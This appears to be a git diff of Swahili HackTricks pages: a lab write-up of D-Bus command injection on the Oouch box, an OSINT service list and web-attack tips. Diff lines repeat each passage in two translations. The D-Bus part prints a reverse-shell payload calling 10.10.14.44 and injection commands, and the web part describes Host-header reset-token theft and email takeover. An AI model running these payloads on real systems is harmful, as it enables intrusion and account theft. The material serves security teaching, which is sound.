Kama unavyoona, inaunganisha kwenye kiolesura cha D-Bus na kutuma "client_ip" kwa kazi ya "Block".
|
||||
Kama unavyoona, ni **kuunganisha kwa kiolesura cha D-Bus** na kutuma kwa **kazi ya "Block"** "client\_ip".
|
||||
|
||||
Upande mwingine wa uhusiano wa D-Bus kuna programu iliyoundwa kwa C inayofanya kazi. Msimbo huu unakuwa "ukisikiliza" kwenye uhusiano wa D-Bus kwa anwani ya IP na kuita iptables kupitia kazi ya `system` ili kuzuia anwani ya IP iliyotolewa.\
|
||||
Wito wa `system` una hatari ya kuingizwa kwa amri, kwa hivyo mzigo kama ufuatao utaunda kitanzi cha nyuma: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
Upande mwingine wa uhusiano wa D-Bus kuna faili iliyoundwa kwa C inayotumika. Msimbo huu unakuwa **ukisikiliza** kwenye uhusiano wa D-Bus **kwa anwani ya IP na kuita iptables kupitia kazi ya `system`** kuzuia anwani ya IP iliyotolewa.\
|
||||
**Wito wa `system` una kasoro kwa makusudi ya kuingiza amri**, hivyo mzigo kama huu utaunda kabati la kurudi: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Tumia udhaifu huo
|
||||
### Tumia mwanya huo
|
||||
|
||||
Mwishoni mwa ukurasa huu unaweza kupata msimbo kamili wa C wa programu ya D-Bus. Ndani yake, kati ya mistari 91-97, unaweza kupata jinsi `njia ya kitu cha D-Bus` na `jina la kiolesura` vinavyosajiliwa. Habari hii itakuwa muhimu kutuma habari kwenye uhusiano wa D-Bus:
|
||||
Mwishoni mwa ukurasa huu unaweza kupata **mimbo kamili ya C ya programu ya D-Bus**. Ndani yake unaweza kupata kati ya mistari 91-97 **jinsi `njia ya kitu cha D-Bus`** **na `jina la kiolesura`** vinavyo **sajiliwa**. Taarifa hii itakuwa muhimu kutuma taarifa kwa uhusiano wa D-Bus:
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
|
|
@ -276,13 +273,13 @@ r = sd_bus_add_object_vtable(bus,
|
|||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
Pia, katika mstari wa 57 unaweza kupata kwamba **njia pekee iliyosajiliwa** kwa mawasiliano haya ya D-Bus inaitwa `Block`(_**Ndiyo sababu katika sehemu inayofuata mizigo itatumwa kwa kitu cha huduma `htb.oouch.Block`, kiolesura `/htb/oouch/Block` na jina la njia `Block`**_):
|
||||
Pia, kwenye mstari wa 57 unaweza kupata kwamba **njia pekee iliyosajiliwa** kwa mawasiliano haya ya D-Bus inaitwa `Block`(_**Ndiyo sababu katika sehemu inayofuata mizigo itatumwa kwa kitu cha huduma `htb.oouch.Block`, kiolesura `/htb/oouch/Block` na jina la njia `Block`**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
#### Python
|
||||
|
||||
Msimbo wa python ufuatao utatuma mzigo kwa uhusiano wa D-Bus kwa njia ya njia ya `Block` kupitia `block_iface.Block(runme)` (_kumbuka kuwa ulichukuliwa kutoka kwa kipande cha msimbo kilichotangulia_):
|
||||
Msimbo wa python ufuatao utatuma mzigo kwenye uunganisho wa D-Bus kwa njia ya `Block` kupitia `block_iface.Block(runme)` (_kumbuka kwamba ulichimbuliwa kutoka kipande cha msimbo kilichotangulia_):
|
||||
```python
|
||||
import dbus
|
||||
bus = dbus.SystemBus()
|
||||
|
|
@ -293,25 +290,17 @@ response = block_iface.Block(runme)
|
|||
bus.close()
|
||||
```
|
||||
#### busctl na dbus-send
|
||||
|
||||
`busctl` na `dbus-send` ni zana za amri zinazotumiwa kufanya uchunguzi na kudhibiti mfumo wa D-Bus kwenye mifumo ya Linux. D-Bus ni mfumo wa ujumbe unaoruhusu mawasiliano kati ya michakato tofauti kwenye mfumo wa Linux.
|
||||
|
||||
`busctl` inaruhusu mtumiaji kuona habari kuhusu vikao vya D-Bus, huduma zinazopatikana, na mali zinazoweza kupatikana. Inaweza pia kutumiwa kuchunguza na kudhibiti ujumbe unaotumwa kwenye vikao vya D-Bus.
|
||||
|
||||
`dbus-send` inaruhusu mtumiaji kutuma ujumbe wa D-Bus kwa huduma au mali zinazopatikana. Inaweza kutumiwa kwa madhumuni ya kudhibiti na kufanya mabadiliko kwenye mfumo wa D-Bus.
|
||||
|
||||
Zana hizi zinaweza kutumiwa kwa njia mbaya kwa kufanya uchunguzi wa mfumo, kubainisha mali zinazoweza kudhibitiwa, na hatimaye kufanya uchumaji wa mamlaka (privilege escalation). Ni muhimu kwa watumiaji kufahamu hatari hizi na kutekeleza hatua za usalama ili kuzuia matumizi mabaya ya zana hizi.
|
||||
```bash
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
* `dbus-send` ni zana inayotumiwa kutuma ujumbe kwa "Message Bus"
|
||||
* Message Bus - Programu inayotumiwa na mifumo kuwezesha mawasiliano kati ya programu kwa urahisi. Inahusiana na Message Queue (ujumbe huwasilishwa kwa utaratibu) lakini kwenye Message Bus ujumbe hupelekwa kwa mfano wa usajili na pia ni haraka sana.
|
||||
* "–system" tag hutumiwa kuonyesha kuwa ni ujumbe wa mfumo, sio ujumbe wa kikao (kwa chaguo-msingi).
|
||||
* "–print-reply" tag hutumiwa kuonyesha ujumbe wetu kwa njia inayoeleweka na kupokea majibu yoyote kwa muundo unaoweza kusomwa na binadamu.
|
||||
* "–dest=Dbus-Interface-Block" Anwani ya kiolesura cha Dbus.
|
||||
* "–string:" - Aina ya ujumbe tunayotaka kutuma kwa kiolesura. Kuna muundo kadhaa wa kutuma ujumbe kama vile double, bytes, booleans, int, objpath. Kati ya haya, "object path" ni muhimu tunapotaka kutuma njia ya faili kwa kiolesura cha Dbus. Tunaweza kutumia faili maalum (FIFO) katika kesi hii kupeleka amri kwa kiolesura kwa jina la faili. "string:;" - Hii ni kuita tena njia ya kitu ambapo tunaweka faili ya shell ya FIFO / amri.
|
||||
* `dbus-send` ni chombo kinachotumika kutuma ujumbe kwa "Message Bus"
|
||||
* Message Bus - Programu inayotumiwa na mifumo kufanya mawasiliano kati ya maombi kwa urahisi. Inahusiana na Message Queue (ujumbe huwa katika mpangilio) lakini kwenye Message Bus ujumbe hutumwa kwa mfano wa usajili na pia haraka sana.
|
||||
* Lebo ya "-system" hutumiwa kutaja kuwa ni ujumbe wa mfumo, si ujumbe wa kikao (kwa chaguo-msingi).
|
||||
* Lebo ya "--print-reply" hutumiwa kuchapisha ujumbe wetu ipasavyo na kupokea majibu yoyote kwa muundo wa kibinadamu.
|
||||
* "--dest=Dbus-Interface-Block" Anwani ya kiolesura cha Dbus.
|
||||
* "--string:" - Aina ya ujumbe tunayotaka kutuma kwa kiolesura. Kuna miundo kadhaa ya kutuma ujumbe kama vile double, bytes, booleans, int, objpath. Kati ya hizi, "njia ya kitu" ni muhimu tunapotaka kutuma njia ya faili kwa kiolesura cha Dbus. Tunaweza kutumia faili maalum (FIFO) katika kesi hii kupitisha amri kwa kiolesura kwa jina la faili. "string:;" - Hii ni kuita njia ya kitu tena ambapo tunaweka faili ya shell ya FIFO/amri.
|
||||
|
||||
_Taarifa kwamba katika `htb.oouch.Block.Block`, sehemu ya kwanza (`htb.oouch.Block`) inahusiana na huduma ya kitu na sehemu ya mwisho (`.Block`) inahusiana na jina la njia._
|
||||
_Tafadhali kumbuka kwamba katika `htb.oouch.Block.Block`, sehemu ya kwanza (`htb.oouch.Block`) inahusiana na kitu cha huduma na sehemu ya mwisho (`.Block`) inahusiana na jina la njia._
|
||||
|
||||
### Msimbo wa C
|
||||
|
||||
|
|
@ -461,16 +450,17 @@ return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
|||
## Marejeo
|
||||
* [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuhack AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,40 +1,41 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
|
||||
Unaweza kuuliza ikiwa anwani ya IP inahusiana na shughuli za shaka/hasidi. Kabisa bure.
|
||||
Unaweza kuuliza ikiwa anwani ya IP inahusiana na shughuli za shaka/zenye nia mbaya. Bure kabisa.
|
||||
|
||||
# [**BotScout**](http://botscout.com/api.htm)
|
||||
|
||||
Angalia ikiwa anwani ya IP inahusiana na boti ambayo inasajili akaunti. Pia inaweza kuangalia majina ya watumiaji na barua pepe. Awali bure.
|
||||
Angalia ikiwa anwani ya IP inahusiana na boti ambayo hujisajili akaunti. Inaweza pia kuangalia majina ya mtumiaji na barua pepe. Awali ni bure.
|
||||
|
||||
# [Hunter](https://hunter.io/)
|
||||
|
||||
Tafuta na thibitisha barua pepe.
|
||||
Baadhi ya ombi za API za bure, kwa zaidi unahitaji kulipa.
|
||||
Pata na thibitisha barua pepe.
|
||||
Ombi za API za bure, kwa zaidi unahitaji kulipa.
|
||||
Biashara?
|
||||
|
||||
# [AlientVault](https://otx.alienvault.com/api)
|
||||
|
||||
Tafuta shughuli za shaka zinazohusiana na anwani za IP na kikoa. Bure.
|
||||
Pata shughuli zenye nia mbaya zinazohusiana na IPs na Domains. Bure.
|
||||
|
||||
# [Clearbit](https://dashboard.clearbit.com/)
|
||||
|
||||
Tafuta data binafsi inayohusiana na barua pepe \(maelezo kwenye majukwaa mengine\), kikoa \(habari ya msingi ya kampuni, barua pepe na watu wanaofanya kazi\) na kampuni \(pata habari ya kampuni kutoka kwa barua pepe\).
|
||||
Unahitaji kulipa ili kupata fursa zote.
|
||||
Pata data ya kibinafsi inayohusiana na barua pepe \(maelezo kwenye majukwaa mengine\), domain \(maelezo ya msingi ya kampuni, barua pepe na watu wanaofanya kazi\) na makampuni \(pata maelezo ya kampuni kutoka kwa barua\).
|
||||
Unahitaji kulipa ili ufikie uwezekano wote.
|
||||
Biashara?
|
||||
|
||||
# [BuiltWith](https://builtwith.com/)
|
||||
|
|
@ -44,53 +45,53 @@ Biashara?
|
|||
|
||||
# [Fraudguard](https://fraudguard.io/)
|
||||
|
||||
Angalia ikiwa mwenyeji \(kikoa au IP\) kina uhusiano na shughuli za shaka/hasidi. Ina ufikiaji fulani wa API bure.
|
||||
Angalia ikiwa mwenyeji \(domain au IP\) una uhusiano na shughuli za shaka/zenye nia mbaya. Ina ufikiaji wa API bure.
|
||||
Biashara?
|
||||
|
||||
# [FortiGuard](https://fortiguard.com/)
|
||||
|
||||
Angalia ikiwa mwenyeji \(kikoa au IP\) kina uhusiano na shughuli za shaka/hasidi. Ina ufikiaji fulani wa API bure.
|
||||
Angalia ikiwa mwenyeji \(domain au IP\) una uhusiano na shughuli za shaka/zenye nia mbaya. Ina ufikiaji wa API bure.
|
||||
|
||||
# [SpamCop](https://www.spamcop.net/)
|
||||
|
||||
Inaonyesha ikiwa mwenyeji una uhusiano na shughuli za barua taka. Ina ufikiaji fulani wa API bure.
|
||||
Inaonyesha ikiwa mwenyeji una uhusiano na shughuli za barua taka. Ina ufikiaji wa API bure.
|
||||
|
||||
# [mywot](https://www.mywot.com/)
|
||||
|
||||
Kwa kuzingatia maoni na metriki nyingine, pata ikiwa kikoa kina habari ya shaka/hasidi.
|
||||
Kulingana na maoni na vipimo vingine, pata ikiwa kikoa kina uhusiano na habari za shaka/zenye nia mbaya.
|
||||
|
||||
# [ipinfo](https://ipinfo.io/)
|
||||
|
||||
Pata habari ya msingi kutoka kwa anwani ya IP. Unaweza kujaribu hadi 100K/mwezi.
|
||||
Pata habari msingi kutoka kwa anwani ya IP. Unaweza jaribu hadi 100K/mwezi.
|
||||
|
||||
# [securitytrails](https://securitytrails.com/app/account)
|
||||
|
||||
Jukwaa hili hutoa habari kuhusu kikoa na anwani za IP kama vile kikoa ndani ya anwani ya IP au ndani ya seva ya kikoa, kikoa kilichomilikiwa na barua pepe \(pata kikoa kinachohusiana\), historia ya IP ya kikoa \(pata mwenyeji nyuma ya CloudFlare\), na vikoa vyote vinavyotumia seva ya majina....
|
||||
Una ufikiaji fulani wa bure.
|
||||
Jukwaa hili hutoa habari kuhusu domain na anwani za IP kama domain ndani ya IP au ndani ya seva ya kikoa, domain zinazomilikiwa na barua pepe \(pata domain zinazohusiana\), historia ya IP ya domain \(pata mwenyeji nyuma ya CloudFlare\), domain zote zinazotumia mwenyeji wa majina....
|
||||
Una ufikiaji wa bure.
|
||||
|
||||
# [fullcontact](https://www.fullcontact.com/)
|
||||
|
||||
Inaruhusu kutafuta kwa barua pepe, kikoa au jina la kampuni na kupata habari "binafsi" inayohusiana. Pia inaweza kuthibitisha barua pepe. Kuna ufikiaji fulani wa bure.
|
||||
Inaruhusu kutafuta kwa barua pepe, domain au jina la kampuni na kupata habari "binafsi" inayohusiana. Pia inaweza kuthibitisha barua pepe. Kuna ufikiaji wa bure kidogo.
|
||||
|
||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
|
||||
Kuna habari nyingi kutoka kwa vikoa na anwani za IP hata katika toleo la bure/jumuiya.
|
||||
Maelezo mengi kutoka kwa domain na IPs hata katika toleo la bure/jumuiya.
|
||||
|
||||
# [\_IntelligenceX](https://intelx.io/)
|
||||
|
||||
Tafuta Vikoa, Anwani za IP na barua pepe na pata habari kutoka kwa vifuko. Una ufikiaji fulani wa bure.
|
||||
Tafuta Domains, IPs na barua pepe na pata habari kutoka kwa dumps. Ina ufikiaji wa bure kidogo.
|
||||
|
||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
|
||||
Tafuta kwa IP na kukusanya habari inayohusiana na shughuli za shaka. Kuna ufikiaji fulani wa bure.
|
||||
Tafuta kwa IP na kukusanya habari zinazohusiana na shughuli za shaka. Kuna ufikiaji wa bure kidogo.
|
||||
|
||||
# [Greynoise](https://viz.greynoise.io/)
|
||||
|
||||
Tafuta kwa IP au safu ya IP na pata habari kuhusu IP zinazoscan mtandao. Siku 15 za ufikiaji wa bure.
|
||||
Tafuta kwa IP au safu ya IP na pata habari kuhusu IPs zinazoscan mtandao. Ufikiaji wa siku 15 bure.
|
||||
|
||||
# [Shodan](https://www.shodan.io/)
|
||||
|
||||
Pata habari ya uchunguzi wa anwani ya IP. Ina ufikiaji fulani wa API bure.
|
||||
Pata habari ya uchunguzi wa anwani ya IP. Ina ufikiaji wa API bure kidogo.
|
||||
|
||||
# [Censys](https://censys.io/)
|
||||
|
||||
|
|
@ -98,11 +99,11 @@ Sawa sana na shodan
|
|||
|
||||
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
|
||||
Tafuta vifurushi vya S3 vilivyofunguliwa kwa kutafuta kwa neno muhimu.
|
||||
Pata vikapu vya S3 vilivyo wazi kwa kutafuta kwa neno muhimu.
|
||||
|
||||
# [Dehashed](https://www.dehashed.com/data)
|
||||
|
||||
Tafuta vibali vilivyovuja vya barua pepe na hata vikoa
|
||||
Pata siri zilizovuja za barua pepe na hata domain
|
||||
Biashara?
|
||||
|
||||
# [psbdmp](https://psbdmp.ws/)
|
||||
|
|
@ -111,38 +112,24 @@ Tafuta pastebins ambapo barua pepe ilionekana. Biashara?
|
|||
|
||||
# [emailrep.io](https://emailrep.io/key)
|
||||
|
||||
Pata sifa ya barua pepe. Biashara?
|
||||
Pata sifa ya barua.
|
||||
Biashara?
|
||||
|
||||
# [ghostproject](https://ghostproject.fr/)
|
||||
|
||||
Pata nywila kutoka kwa barua pepe zilizovuja. Biashara?
|
||||
Pata nywila kutoka kwa barua pepe zilizovuja.
|
||||
Biashara?
|
||||
|
||||
# [Binaryedge](https://www.binaryedge.io/)
|
||||
|
||||
Pata habari ya kuvutia kutoka kwa anwani za IP
|
||||
Pata habari muhimu kutoka kwa IPs
|
||||
|
||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
|
||||
Tafuta kwa kikoa na barua pepe na pata ikiwa ilidukuliwa na nywila. Biashara?
|
||||
Tafuta kwa kikoa na barua pepe na pata ikiwa ilikuwa imevunjwa na nywila. Biashara?
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(katika chombo cha biashara?\)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(katika chombo cha biashara?\)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(katika chombo cha biashara?\)
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,61 +1,63 @@
|
|||
# Mbinu Nyingine za Wavuti
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Kichwa cha Mwenyeji
|
||||
|
||||
Maranyingi, seva ya nyuma inategemea **kichwa cha mwenyeji (Host header)** kufanya vitendo fulani. Kwa mfano, inaweza kutumia thamani yake kama **kikoa cha kutuma upya nenosiri**. Kwa hivyo, unapopokea barua pepe na kiunga cha kurejesha nenosiri lako, kikoa kinachotumiwa ni kile ulichoweka kwenye kichwa cha mwenyeji. Kwa hiyo, unaweza kuomba kurejesha nenosiri la watumiaji wengine na kubadilisha kikoa kuwa kimoja kinachodhibitiwa na wewe ili kuiba nambari zao za kurejesha nenosiri. [Andika](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Maranyingi seva ya nyuma huiamini **Kichwa cha Mwenyeji (Host header)** kufanya baadhi ya vitendo. Kwa mfano, inaweza kutumia thamani yake kama **kikoa cha kutuma upya nywila**. Kwa hivyo unapopokea barua pepe na kiungo cha kusahihisha nywila yako, kikoa kinachotumiwa ni kile ulichoweka kwenye Kichwa cha Mwenyeji. Kisha, unaweza kuomba kusahihisha nywila ya watumiaji wengine na kubadilisha kikoa kuwa kimoja kinachodhibitiwa na wewe ili kuiba nambari zao za kusahihisha nywila. [Andika](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tambua kwamba inawezekana hata usihitaji kusubiri mtumiaji bonyeze kiunga cha kurejesha nenosiri ili kupata ishara, kwani labda hata **filters za barua taka au vifaa/boti vya kati vingine vitabonyeza kiunga hicho kwa ajili ya uchambuzi**.
|
||||
Tambua kwamba inawezekana hata usihitaji kusubiri mtumiaji bonyeze kiungo cha kusahihisha nywila ili kupata ishara, labda hata **filti za barua taka au vifaa/bots vya kati vitabonyeza** kuchambua.
|
||||
{% endhint %}
|
||||
|
||||
### Seseni za Boolean
|
||||
### Vigezo vya Kikao
|
||||
|
||||
Maranyingi, unapokamilisha uthibitisho fulani kwa usahihi, seva ya nyuma itaongeza tu boolean na thamani "True" kwa sifa ya usalama ya seseni yako. Kisha, mwisho tofauti utajua ikiwa umepita kwa mafanikio ukaguzi huo.\
|
||||
Hata hivyo, ikiwa **unapita ukaguzi** na seseni yako inapewa thamani "True" kwenye sifa ya usalama, unaweza kujaribu **kupata rasilimali nyingine** ambazo **zinategemea sifa hiyo hiyo** lakini ambazo **haukupaswa kuwa na ruhusa** ya kufikia. [Andika](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi, seva ya nyuma ita**ongeza tu boolean yenye thamani "Kweli" kwa sifa ya usalama ya kikao chako**. Kisha, mwisho tofauti utajua ikiwa umepita mtihani huo kwa mafanikio.\
|
||||
Hata hivyo, ikiwa **unapita mtihani** na kikao chako kinapewa thamani ya "Kweli" kwenye sifa ya usalama, unaweza kujaribu **kupata rasilimali nyingine** ambazo **zinategemea sifa ile ile** lakini **hupaswi kuwa na ruhusa** ya kufikia. [Andika](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Utendaji wa Usajili
|
||||
|
||||
Jaribu kujisajili kama mtumiaji ambaye tayari yupo. Jaribu pia kutumia herufi sawa (nukta, nafasi nyingi na Unicode).
|
||||
Jaribu kusajili kama mtumiaji anayepo tayari. Jaribu pia kutumia herufi sawa (pembejeo, nafasi nyingi na Unicode).
|
||||
|
||||
### Kuchukua Udhibiti wa Barua pepe
|
||||
### Kuchukua Barua pepe
|
||||
|
||||
Sajili anwani ya barua pepe, kabla ya kuidhibitisha, badilisha barua pepe, kisha, ikiwa barua pepe mpya ya uthibitisho inatumwa kwa barua pepe ya kwanza iliyosajiliwa, unaweza kuchukua udhibiti wa barua pepe yoyote. Au ikiwa unaweza kuwezesha barua pepe ya pili kwa kuidhibitisha ya kwanza, unaweza pia kuchukua udhibiti wa akaunti yoyote.
|
||||
